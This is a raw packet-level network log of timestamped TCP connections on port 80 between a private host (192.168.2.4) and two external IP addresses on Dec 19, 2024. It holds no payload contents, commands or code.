Dec 19, 2024 06:09:22.322124958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.322205067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.322998047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.323136091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.323142052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.323235989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.324052095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.324168921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.325068951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.325119019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.325191975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.325287104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.326133966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.326247931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.326308012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.327158928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.327241898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.327266932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.327478886 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.328205109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.328254938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.328275919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.328479052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.329236031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.329354048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.330285072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.330316067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.330353975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.330961943 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.331342936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.331485033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.331541061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.332001925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.332360983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.332475901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.332668066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.333450079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.333508015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.333595037 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.333642006 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.334446907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.334557056 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.334578991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.335480928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.335586071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.335611105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.336086988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.336549044 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.336649895 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.336705923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.337558985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.337671041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.337769032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.338625908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.338720083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.338731050 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.338857889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.339669943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.339754105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.339773893 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.339960098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.340662956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.340715885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.341487885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.341766119 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.341886997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.341907024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.342068911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.342777014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.342920065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.342957020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.343410969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.343830109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.343878031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.343902111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.343981981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.344835043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.344976902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.345758915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.345890999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.345999956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.346023083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.346193075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.346944094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.347080946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.347310066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.348006964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.348108053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.348227978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.349036932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.349128008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.349147081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.349231005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.350040913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.350152969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.350177050 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.351097107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.351233959 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.351259947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.351465940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.352137089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.352238894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.352313042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.353162050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.353291035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.353315115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.354180098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.354207039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.354270935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.354341030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.354490042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.355252981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.355338097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.355384111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.355443954 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.356300116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.356357098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.356399059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.356445074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.357333899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.357391119 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.357459068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.357489109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.358376980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.358452082 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.358495951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.358598948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.359440088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.359503984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.359545946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.359602928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.360472918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.360532999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.360584021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.360758066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.361495972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.361567974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.361629009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.361686945 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.362557888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.362622023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.362699032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.362756968 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.363627911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.363739014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.363765955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.363816023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.364625931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.364675999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.364700079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.365690947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.365808010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.365833044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.366108894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.366744041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.366791964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.366813898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.367784023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.367808104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.367877007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.367990017 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.368784904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.368908882 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.369815111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.369842052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.372068882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:24.898093939 CET	49777	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:24.898282051 CET	49802	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:25.017839909 CET	80	49802	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:25.017931938 CET	49802	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:25.018079996 CET	49802	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:25.018110991 CET	80	49777	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:25.018654108 CET	49777	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:25.137593985 CET	80	49802	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:29.022934914 CET	49802	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:34.055043936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:34.055306911 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:34.175673008 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:34.175685883 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:34.175745010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:34.175782919 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:34.175954103 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:34.296165943 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.499994993 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500015020 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500021935 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500096083 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500107050 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500118017 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500128984 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500138044 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.500230074 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.500230074 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.500242949 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.500294924 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.503798008 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.503864050 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.503914118 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.504085064 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.619782925 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.619860888 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.619940042 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.619996071 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.624130964 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.624183893 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.692497969 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.692512035 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.692620993 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.696732998 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.696744919 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.696789980 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.703186989 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.703249931 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.703365088 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.703411102 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:35.712548018 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:35.712598085 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:37.929316044 CET	49832	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:38.049221039 CET	80	49832	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:38.049319029 CET	49832	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:38.049490929 CET	49832	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:38.168977022 CET	80	49832	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:39.398313999 CET	80	49832	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:39.398379087 CET	49832	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:39.705463886 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:39.705764055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:39.825329065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:39.825402021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:39.825700998 CET	80	49823	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:39.825700998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:39.825751066 CET	49823	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:39.945230007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.147845030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.147888899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.147922993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.147927046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.147941113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.147965908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148000002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148036003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148036957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.148066044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148101091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.148135900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.148159027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148194075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148226976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.148252010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.148289919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.267731905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.267776012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.267924070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.271887064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.272002935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.272028923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.272090912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.339687109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.339816093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.339977980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.343863010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.343991041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.345345020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.345427990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.345499992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.345568895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.353713989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.353842020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.353905916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.362149000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.362202883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.362221956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.362307072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.370516062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.370651007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.370676041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.374192953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.378922939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.379045010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.379066944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.379159927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.387260914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.387394905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.387653112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.395725012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.395762920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.395876884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.403228998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.403335094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.403399944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.403458118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.410864115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.411009073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.411076069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.418087006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.418355942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.418426037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.459743023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.459783077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.459867001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.459867001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.531708002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.531747103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.531776905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.532073975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.533865929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.533936977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.533967018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.534032106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.538348913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.538523912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.540009975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.540165901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.540198088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.540393114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.544529915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.544611931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.544692039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.547080994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.549129009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.549216986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.549252033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.549380064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.553509951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.553638935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.553642035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.553757906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.557965040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.558036089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.558068037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.558362007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.562441111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.562563896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.562680006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.562774897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.566976070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.567012072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.567084074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.567084074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.571396112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.571430922 CET	80	49838	31.41.244.11	192.168.2.4
